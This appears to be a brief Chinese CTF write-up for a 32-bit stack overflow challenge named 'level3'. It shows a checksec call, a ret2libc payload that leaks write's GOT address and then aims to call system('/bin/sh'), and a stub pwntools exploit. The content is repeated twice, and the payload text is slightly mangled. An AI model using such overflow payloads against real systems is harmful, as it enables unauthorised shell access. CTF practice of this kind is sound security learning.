0x01 寻找漏洞
1 | xfgg@ubuntu:~/Downloads$ checksec level3 |
0x02 思路分析
1 | 构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4) |
0x03 攻击
1 | write函数和libc泄露,写入system('/bin/sh') 最好使用dynelf模块 |
exp
1 | from pwn import * |
1 | xfgg@ubuntu:~/Downloads$ checksec level3 |
1 | 构造payload: payload=’A’0x88+’A’4+p32(plt_write)+p32(main_addr)+p32(1)+p32(got_write)+p32(4) |
1 | write函数和libc泄露,写入system('/bin/sh') 最好使用dynelf模块 |
1 | from pwn import * |